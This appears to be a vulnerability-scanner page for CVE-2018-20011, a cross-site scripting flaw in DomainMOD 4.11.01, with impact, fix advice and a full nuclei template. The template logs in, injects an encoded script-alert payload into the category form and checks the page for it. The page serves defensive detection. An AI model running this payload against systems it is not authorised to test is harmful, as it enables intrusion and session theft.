DomainMOD 4.11.01 - Cross-Site Scripting

mediumseverity

4.8CVSS score

4.4%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/category.php CatagoryName and StakeHolder parameters.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.

How to confirm it

Send: POST / ; POST /assets/add/category.php ; GET /assets/categories.php
Positive when: status_code_3 == 200 and contains(header_3, "text/html") and contains(body_3, "><script>alert(document.domain)</script></a>")

Run it with nuclei: nuclei -id CVE-2018-20011 -u <target>

The full check

id: CVE-2018-20011

info:
  name: DomainMOD 4.11.01 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/category.php CatagoryName and StakeHolder parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/46374/
    - https://github.com/domainmod/domainmod/issues/88
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20011
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2018-20011
    cwe-id: CWE-79
    epss-score: 0.04428
    epss-percentile: 0.9145
    cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: domainmod
    product: domainmod
  tags: cve2018,cve,domainmod,xss,authenticated,edb,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_username={{username}}&new_password={{password}}
      - |
        POST /assets/add/category.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_category=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_stakeholder=&new_notes=
      - |
        GET /assets/categories.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(header_3, "text/html")'
          - 'contains(body_3, "><script>alert(document.domain)</script></a>")'
        condition: and

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